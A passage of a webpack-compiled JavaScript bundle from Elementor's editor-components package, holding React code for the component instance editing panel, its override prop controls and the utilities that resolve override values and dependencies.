__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   OverridePropControl: function() { return /* binding */ OverridePropControl; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_editor_controls__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/editor-controls */ "@elementor/editor-controls");
/* harmony import */ var _elementor_editor_controls__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_controls__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/editor-editing-panel */ "@elementor/editor-editing-panel");
/* harmony import */ var _elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @elementor/ui */ "@elementor/ui");
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__);
/* harmony import */ var _hooks_use_controls_by_widget_type__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ../../hooks/use-controls-by-widget-type */ "./packages/packages/core/editor-components/src/hooks/use-controls-by-widget-type.ts");
/* harmony import */ var _prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ../../prop-types/component-instance-override-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-instance-override-prop-type.ts");
/* harmony import */ var _prop_types_component_instance_overrides_prop_type__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ../../prop-types/component-instance-overrides-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-instance-overrides-prop-type.ts");
/* harmony import */ var _prop_types_component_instance_prop_type__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ../../prop-types/component-instance-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-instance-prop-type.ts");
/* harmony import */ var _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! ../../prop-types/component-overridable-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-overridable-prop-type.ts");
/* harmony import */ var _provider_component_instance_context__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ../../provider/component-instance-context */ "./packages/packages/core/editor-components/src/provider/component-instance-context.tsx");
/* harmony import */ var _provider_overridable_prop_context__WEBPACK_IMPORTED_MODULE_10__ = __webpack_require__(/*! ../../provider/overridable-prop-context */ "./packages/packages/core/editor-components/src/provider/overridable-prop-context.tsx");
/* harmony import */ var _store_actions_update_overridable_prop__WEBPACK_IMPORTED_MODULE_11__ = __webpack_require__(/*! ../../store/actions/update-overridable-prop */ "./packages/packages/core/editor-components/src/store/actions/update-overridable-prop.ts");
/* harmony import */ var _store_store__WEBPACK_IMPORTED_MODULE_12__ = __webpack_require__(/*! ../../store/store */ "./packages/packages/core/editor-components/src/store/store.ts");
/* harmony import */ var _utils_get_prop_type_for_component_override__WEBPACK_IMPORTED_MODULE_13__ = __webpack_require__(/*! ../../utils/get-prop-type-for-component-override */ "./packages/packages/core/editor-components/src/utils/get-prop-type-for-component-override.ts");
/* harmony import */ var _utils_overridable_props_utils__WEBPACK_IMPORTED_MODULE_14__ = __webpack_require__(/*! ../../utils/overridable-props-utils */ "./packages/packages/core/editor-components/src/utils/overridable-props-utils.ts");
/* harmony import */ var _utils_resolve_override_prop_value__WEBPACK_IMPORTED_MODULE_15__ = __webpack_require__(/*! ../../utils/resolve-override-prop-value */ "./packages/packages/core/editor-components/src/utils/resolve-override-prop-value.ts");
/* harmony import */ var _control_label__WEBPACK_IMPORTED_MODULE_16__ = __webpack_require__(/*! ../control-label */ "./packages/packages/core/editor-components/src/components/control-label.tsx");
/* harmony import */ var _errors__WEBPACK_IMPORTED_MODULE_17__ = __webpack_require__(/*! ../errors */ "./packages/packages/core/editor-components/src/components/errors.ts");
/* harmony import */ var _utils_correct_exposed_empty_override__WEBPACK_IMPORTED_MODULE_18__ = __webpack_require__(/*! ./utils/correct-exposed-empty-override */ "./packages/packages/core/editor-components/src/components/instance-editing-panel/utils/correct-exposed-empty-override.ts");
/* harmony import */ var _utils_resolve_element_settings__WEBPACK_IMPORTED_MODULE_19__ = __webpack_require__(/*! ./utils/resolve-element-settings */ "./packages/packages/core/editor-components/src/components/instance-editing-panel/utils/resolve-element-settings.ts");
/* harmony import */ var _utils_use_override_dependencies__WEBPACK_IMPORTED_MODULE_20__ = __webpack_require__(/*! ./utils/use-override-dependencies */ "./packages/packages/core/editor-components/src/components/instance-editing-panel/utils/use-override-dependencies.ts");
/* harmony import */ var _utils_use_resolved_inner_element__WEBPACK_IMPORTED_MODULE_21__ = __webpack_require__(/*! ./utils/use-resolved-inner-element */ "./packages/packages/core/editor-components/src/components/instance-editing-panel/utils/use-resolved-inner-element.ts");






















function OverridePropControl({
  overrideKey
}) {
  const overridableProps = (0,_provider_component_instance_context__WEBPACK_IMPORTED_MODULE_9__.useComponentOverridableProps)();
  const overridableProp = overridableProps.props[overrideKey];
  if (!overridableProp) {
    return null;
  }
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_2__.SettingsField, {
    bind: "component_instance",
    propDisplayName: overridableProp.label
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(OverrideControl, {
    overridableProp: overridableProp
  }));
}
function OverrideControl({
  overridableProp
}) {
  const componentInstanceElement = (0,_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_2__.useElement)();
  const {
    value: instanceValue,
    setValue: setInstanceValue
  } = (0,_elementor_editor_controls__WEBPACK_IMPORTED_MODULE_1__.useBoundProp)(_prop_types_component_instance_prop_type__WEBPACK_IMPORTED_MODULE_7__.componentInstancePropTypeUtil);
  const wrappingComponentId = (0,_store_store__WEBPACK_IMPORTED_MODULE_12__.useCurrentComponentId)();
  const componentId = (0,_provider_component_instance_context__WEBPACK_IMPORTED_MODULE_9__.useComponentId)();
  const overridableProps = (0,_provider_component_instance_context__WEBPACK_IMPORTED_MODULE_9__.useComponentOverridableProps)();
  const overrides = (0,_provider_component_instance_context__WEBPACK_IMPORTED_MODULE_9__.useComponentInstanceOverrides)();
  const controls = (0,_hooks_use_controls_by_widget_type__WEBPACK_IMPORTED_MODULE_4__.useControlsByWidgetType)(overridableProp.originPropFields?.widgetType ?? overridableProp.widgetType);
  const controlReplacements = (0,_elementor_editor_controls__WEBPACK_IMPORTED_MODULE_1__.getControlReplacements)();
  const matchingOverride = (0,_utils_overridable_props_utils__WEBPACK_IMPORTED_MODULE_14__.getMatchingOverride)(overrides, overridableProp.overrideKey);
  const {
    propKey
  } = overridableProp.originPropFields ?? overridableProp;
  const propType = (0,_utils_get_prop_type_for_component_override__WEBPACK_IMPORTED_MODULE_13__.getPropTypeForComponentOverride)(overridableProp);
  if (!propType) {
    throw new _errors__WEBPACK_IMPORTED_MODULE_17__.OverrideControlPropTypeNotFoundError({
      context: {
        overridableProp
      }
    });
  }
  const {
    elementId,
    elementType,
    resolvedElementSettings,
    resolvedOriginValues
  } = (0,_utils_use_resolved_inner_element__WEBPACK_IMPORTED_MODULE_21__.useResolvedInnerElement)(overridableProp);
  const {
    overrideValue,
    isDisabled,
    isHidden
  } = (0,_utils_use_override_dependencies__WEBPACK_IMPORTED_MODULE_20__.useOverrideControlDependencies)({
    existingOverride: matchingOverride,
    resolvedElementSettings,
    elementType,
    elementId,
    propKey
  });
  if (isHidden) {
    return null;
  }
  const {
    propValue,
    baseValue: resolvedBaseValue
  } = resolveOverrideValues(overrideValue, resolvedOriginValues, propKey);
  const value = {
    [overridableProp.overrideKey]: propValue
  };
  const baseValue = {
    [overridableProp.overrideKey]: resolvedBaseValue
  };
  const {
    control,
    controlProps,
    layout
  } = getControlParams(controls, overridableProp.originPropFields ?? overridableProp, overridableProp.label);
  const propTypeSchema = (0,_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_2__.createTopLevelObjectType)({
    schema: {
      [overridableProp.overrideKey]: propType
    }
  });
  const setValue = (newValue, options, meta) => {
    let newPropValue = getTempNewValueForDynamicProp(propType, propValue, newValue[overridableProp.overrideKey]);
    newPropValue = (0,_utils_correct_exposed_empty_override__WEBPACK_IMPORTED_MODULE_18__.correctExposedEmptyOverride)(newPropValue, matchingOverride);
    const newOverrideValue = createOverrideValue({
      matchingOverride,
      overrideKey: overridableProp.overrideKey,
      overrideValue: newPropValue,
      componentId
    });
    let newOverrides = (overrides ?? []).filter(override => isValidOverride(overridableProps, override)).map(override => override === matchingOverride ? newOverrideValue : override);
    if (!matchingOverride) {
      newOverrides = [...newOverrides, newOverrideValue];
    }
    setInstanceValue({
      ...instanceValue,
      overrides: _prop_types_component_instance_overrides_prop_type__WEBPACK_IMPORTED_MODULE_6__.componentInstanceOverridesPropTypeUtil.create(newOverrides)
    }, options, meta);
    const overridableValue = _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_8__.componentOverridablePropTypeUtil.extract(newOverrideValue);
    if (overridableValue && wrappingComponentId) {
      if (overridableProp.originPropFields) {
        (0,_store_actions_update_overridable_prop__WEBPACK_IMPORTED_MODULE_11__.updateOverridableProp)(wrappingComponentId, overridableValue, overridableProp.originPropFields);
        return;
      }
      const originPropFields = {
        elType: overridableProp.elType,
        widgetType: overridableProp.widgetType,
        propKey: overridableProp.propKey,
        elementId: overridableProp.elementId
      };
      (0,_store_actions_update_overridable_prop__WEBPACK_IMPORTED_MODULE_11__.updateOverridableProp)(wrappingComponentId, overridableValue, originPropFields);
    }
  };
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_provider_overridable_prop_context__WEBPACK_IMPORTED_MODULE_10__.OverridablePropProvider, {
    value: _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_8__.componentOverridablePropTypeUtil.extract(matchingOverride) ?? undefined,
    componentInstanceElement: componentInstanceElement
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_2__.ElementProvider, {
    element: {
      id: elementId,
      type: elementType.key
    },
    elementType: elementType,
    settings: resolvedElementSettings
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_controls__WEBPACK_IMPORTED_MODULE_1__.PropProvider, {
    propType: propTypeSchema,
    value: value,
    setValue: setValue,
    baseValue: baseValue,
    isDisabled: isDisabled
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_controls__WEBPACK_IMPORTED_MODULE_1__.PropKeyProvider, {
    bind: overridableProp.overrideKey
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_controls__WEBPACK_IMPORTED_MODULE_1__.ControlReplacementsProvider, {
    replacements: controlReplacements
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.Box, {
    mb: 1.5
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_2__.ControlTypeContainer, {
    layout: layout
  }, layout !== 'custom' && /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_control_label__WEBPACK_IMPORTED_MODULE_16__.ControlLabel, null, overridableProp.label), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(OriginalControl, {
    control: control,
    controlProps: controlProps
  }))))))));
}
function resolveOverrideValues(overrideValue, resolvedOriginValues, propKey) {
  const unwrappedSettings = (0,_utils_resolve_element_settings__WEBPACK_IMPORTED_MODULE_19__.unwrapOverridableSettings)(resolvedOriginValues);
  const inheritedValue = unwrappedSettings[propKey] ?? null;
  const isInheritedDynamic = (0,_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_2__.isDynamicPropValue)(inheritedValue);
  const shouldUseInheritedAsValue = isInheritedDynamic && !overrideValue;
  const propValue = shouldUseInheritedAsValue ? inheritedValue : overrideValue;
  const baseValue = overrideValue || isInheritedDynamic ? null : inheritedValue;
  return {
    propValue,
    baseValue
  };
}

// Temp solution: when removing an override on a dynamic value, fall back to propType.default
// instead of null, since we don't have placeholder support for dynamics yet.
function getTempNewValueForDynamicProp(propType, propValue, newPropValue) {
  const isRemovingOverride = newPropValue === null;
  if (isRemovingOverride && (0,_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_2__.isDynamicPropValue)(propValue)) {
    return propType.default ?? null;
  }
  return newPropValue;
}
function createOverrideValue({
  matchingOverride,
  overrideKey,
  overrideValue,
  componentId
}) {
  const overridableValue = _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_8__.componentOverridablePropTypeUtil.extract(matchingOverride);
  const newOverridableValue = _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_8__.componentOverridablePropTypeUtil.extract(overrideValue);
  const anyOverridable = newOverridableValue ?? overridableValue;
  if (anyOverridable) {
    const innerOverride = _prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_5__.componentInstanceOverridePropTypeUtil.create({
      override_key: overrideKey,
      override_value: (0,_utils_resolve_override_prop_value__WEBPACK_IMPORTED_MODULE_15__.resolveOverridePropValue)(overrideValue),
      schema_source: {
        type: 'component',
        id: componentId
      }
    });
    return _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_8__.componentOverridablePropTypeUtil.create({
      override_key: anyOverridable.override_key,
      origin_value: innerOverride
    });
  }
  return _prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_5__.componentInstanceOverridePropTypeUtil.create({
    override_key: overrideKey,
    override_value: overrideValue,
    schema_source: {
      type: 'component',
      id: componentId
    }
  });
}
function getControlParams(controls, originPropFields, label) {
  const control = controls[originPropFields.propKey];
  const {
    value
  } = control;
  const layout = getControlLayout(control);
  const controlProps = populateChildControlProps(value.props);
  if (layout === 'custom') {
    controlProps.label = label ?? value.label;
  }
  return {
    control,
    controlProps,
    layout
  };
}
function OriginalControl({
  control,
  controlProps
}) {
  const {
    value
  } = control;
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_2__.BaseControl, {
    type: value.type,
    props: controlProps
  });
}
function getControlLayout(control) {
  return control.value.meta?.layout || _elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_2__.controlsRegistry.getLayout(control.value.type);
}
function populateChildControlProps(props) {
  if (props.childControlType) {
    const childComponent = _elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_2__.controlsRegistry.get(props.childControlType);
    const childPropType = _elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_2__.controlsRegistry.getPropTypeUtil(props.childControlType);
    props = {
      ...props,
      childControlConfig: {
        component: childComponent,
        props: props.childControlProps || {},
        propTypeUtil: childPropType
      }
    };
  }
  return props;
}
function isValidOverride(overridableProps, override) {
  const overridableKey = _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_8__.componentOverridablePropTypeUtil.isValid(override) ? override.value.origin_value?.value.override_key : override.value.override_key;
  return !!overridableProps.props[overridableKey];
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/instance-editing-panel/override-props-group.tsx":
/*!*****************************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/instance-editing-panel/override-props-group.tsx ***!
  \*****************************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   OverridePropsGroup: function() { return /* binding */ OverridePropsGroup; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/editor-editing-panel */ "@elementor/editor-editing-panel");
/* harmony import */ var _elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_editor_ui__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/editor-ui */ "@elementor/editor-ui");
/* harmony import */ var _elementor_editor_ui__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_ui__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @elementor/ui */ "@elementor/ui");
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__);
/* harmony import */ var _override_prop_control__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./override-prop-control */ "./packages/packages/core/editor-components/src/components/instance-editing-panel/override-prop-control.tsx");






function OverridePropsGroup({
  group
}) {
  const [isOpen, setIsOpen] = (0,_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_1__.useStateByElement)(group.id, true);
  const handleClick = () => {
    setIsOpen(!isOpen);
  };
  const id = (0,react__WEBPACK_IMPORTED_MODULE_0__.useId)();
  const labelId = `label-${id}`;
  const contentId = `content-${id}`;
  const title = group.label;
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.Box, {
    "aria-label": `${title} section`
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.ListItemButton, {
    id: labelId,
    "aria-controls": contentId,
    "aria-label": `${title} section`,
    onClick: handleClick,
    p: 0,
    sx: {
      '&:hover': {
        backgroundColor: 'transparent'
      }
    }
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.Stack, {
    direction: "row",
    alignItems: "center",
    justifyItems: "start",
    flexGrow: 1,
    gap: 0.5
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.ListItemText, {
    secondary: title,
    secondaryTypographyProps: {
      color: 'text.primary',
      variant: 'caption',
      fontWeight: 'bold'
    },
    sx: {
      flexGrow: 0,
      flexShrink: 1,
      marginInlineEnd: 1
    }
  })), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_ui__WEBPACK_IMPORTED_MODULE_2__.CollapseIcon, {
    open: isOpen,
    color: "secondary",
    fontSize: "tiny"
  })), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.Collapse, {
    id: contentId,
    "aria-labelledby": labelId,
    in: isOpen,
    timeout: "auto"
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.Stack, {
    direction: "column",
    gap: 1,
    p: 2
  }, group.props.map(overrideKey => /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_override_prop_control__WEBPACK_IMPORTED_MODULE_4__.OverridePropControl, {
    key: overrideKey,
    overrideKey: overrideKey
  })))));
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/instance-editing-panel/use-instance-panel-data.ts":
/*!*******************************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/instance-editing-panel/use-instance-panel-data.ts ***!
  \*******************************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   useInstancePanelData: function() { return /* binding */ useInstancePanelData; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-editing-panel */ "@elementor/editor-editing-panel");
/* harmony import */ var _elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _hooks_use_sanitize_overridable_props__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../../hooks/use-sanitize-overridable-props */ "./packages/packages/core/editor-components/src/hooks/use-sanitize-overridable-props.ts");
/* harmony import */ var _prop_types_component_instance_prop_type__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../../prop-types/component-instance-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-instance-prop-type.ts");
/* harmony import */ var _store_store__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../../store/store */ "./packages/packages/core/editor-components/src/store/store.ts");




function useInstancePanelData() {
  const {
    element,
    settings
  } = useComponentInstanceSettings();
  const componentId = settings?.component_id?.value;
  const overrides = settings?.overrides?.value;
  const component = (0,_store_store__WEBPACK_IMPORTED_MODULE_3__.useComponent)(componentId ?? null);
  const componentInstanceId = element?.id;
  const overridableProps = (0,_hooks_use_sanitize_overridable_props__WEBPACK_IMPORTED_MODULE_1__.useSanitizeOverridableProps)(componentId ?? null, componentInstanceId);
  if (!componentId || !overridableProps || !component || !componentInstanceId) {
    return null;
  }
  const isNonEmptyGroup = group => group !== null && group.props.length > 0;
  const groups = overridableProps.groups.order.map(groupId => overridableProps.groups.items[groupId] ?? null).filter(isNonEmptyGroup);
  const isEmpty = groups.length === 0 || Object.keys(overridableProps.props).length === 0;
  return {
    componentId,
    component,
    overrides,
    overridableProps,
    groups,
    isEmpty,
    componentInstanceId
  };
}
function useComponentInstanceSettings() {
  const {
    element,
    settings
  } = (0,_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_0__.useElement)();
  return {
    element,
    settings: _prop_types_component_instance_prop_type__WEBPACK_IMPORTED_MODULE_2__.componentInstancePropTypeUtil.extract(settings.component_instance)
  };
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/instance-editing-panel/utils/correct-exposed-empty-override.ts":
/*!********************************************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/instance-editing-panel/utils/correct-exposed-empty-override.ts ***!
  \********************************************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   correctExposedEmptyOverride: function() { return /* binding */ correctExposedEmptyOverride; }
/* harmony export */ });
/* harmony import */ var _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../../../prop-types/component-overridable-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-overridable-prop-type.ts");

// The control receives the resolved value, so when exposing a prop that was never overridden,
// origin_value will be the resolved value instead of null.
// So here, we correct this by resetting origin_value to null.
function correctExposedEmptyOverride(newPropValue, matchingOverride) {
  const newOverridableValue = _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_0__.componentOverridablePropTypeUtil.extract(newPropValue);
  const isExposingEmptyOverride = newOverridableValue && matchingOverride === null;
  if (!isExposingEmptyOverride) {
    return newPropValue;
  }
  return _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_0__.componentOverridablePropTypeUtil.create({
    override_key: newOverridableValue.override_key,
    origin_value: null
  });
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/instance-editing-panel/utils/resolve-element-settings.ts":
/*!**************************************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/instance-editing-panel/utils/resolve-element-settings.ts ***!
  \**************************************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   applyOverridesToSettings: function() { return /* binding */ applyOverridesToSettings; },
/* harmony export */   unwrapOverridableSettings: function() { return /* binding */ unwrapOverridableSettings; }
/* harmony export */ });
/* harmony import */ var _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../../../prop-types/component-overridable-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-overridable-prop-type.ts");

function applyOverridesToSettings(elementSettings, overrides) {
  const result = {};
  for (const [propKey, propValue] of Object.entries(elementSettings)) {
    const overridable = _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_0__.componentOverridablePropTypeUtil.extract(propValue);
    if (!overridable) {
      result[propKey] = propValue;
      continue;
    }
    const override = overrides[overridable.override_key];
    if (!override) {
      result[propKey] = propValue;
      continue;
    }
    if (override.outermostKey && override.outermostKey !== overridable.override_key) {
      const originValue = overridable.origin_value;
      result[propKey] = _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_0__.componentOverridablePropTypeUtil.create({
        override_key: override.outermostKey,
        origin_value: override.value ?? originValue
      });
    } else {
      result[propKey] = override.value ?? propValue;
    }
  }
  return result;
}
function unwrapOverridableSettings(elementSettings) {
  const result = {};
  for (const [propKey, propValue] of Object.entries(elementSettings)) {
    const overridable = _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_0__.componentOverridablePropTypeUtil.extract(propValue);
    if (!overridable) {
      result[propKey] = propValue;
      continue;
    }
    result[propKey] = overridable.origin_value;
  }
  return result;
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/instance-editing-panel/utils/use-override-dependencies.ts":
/*!***************************************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/instance-editing-panel/utils/use-override-dependencies.ts ***!
  \***************************************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   useOverrideControlDependencies: function() { return /* binding */ useOverrideControlDependencies; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/editor-editing-panel */ "@elementor/editor-editing-panel");
/* harmony import */ var _elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _utils_resolve_override_prop_value__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../../../utils/resolve-override-prop-value */ "./packages/packages/core/editor-components/src/utils/resolve-override-prop-value.ts");



function useOverrideControlDependencies({
  existingOverride,
  resolvedElementSettings,
  elementId,
  elementType,
  propKey
}) {
  return (0,react__WEBPACK_IMPORTED_MODULE_0__.useMemo)(() => {
    const {
      isDisabled,
      isHidden
    } = (0,_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_1__.extractDependencyEffect)(propKey, elementType.propsSchema, resolvedElementSettings);
    const existingOverrideValue = existingOverride ? (0,_utils_resolve_override_prop_value__WEBPACK_IMPORTED_MODULE_2__.resolveOverridePropValue)(existingOverride) : null;
    const settingsForDepsNewValuesCalculation = {
      ...resolvedElementSettings,
      [propKey]: existingOverrideValue
    };
    const resolvedSettingsWithDefaults = (0,_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_1__.getElementSettingsWithDefaults)(elementType.propsSchema, settingsForDepsNewValuesCalculation);
    const dependents = (0,_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_1__.extractOrderedDependencies)(elementType.dependenciesPerTargetMapping ?? {});
    const settingsWithDepsNewValues = (0,_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_1__.getUpdatedValues)({
      [propKey]: existingOverrideValue
    }, dependents, elementType.propsSchema, resolvedSettingsWithDefaults, elementId);
    const overrideValue = settingsWithDepsNewValues[propKey];
    return {
      overrideValue,
      isDisabled,
      isHidden
    };
  }, [existingOverride, resolvedElementSettings, propKey, elementType.propsSchema, elementType.dependenciesPerTargetMapping, elementId]);
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/instance-editing-panel/utils/use-resolved-inner-element.ts":
/*!****************************************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/instance-editing-panel/utils/use-resolved-inner-element.ts ***!
  \****************************************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
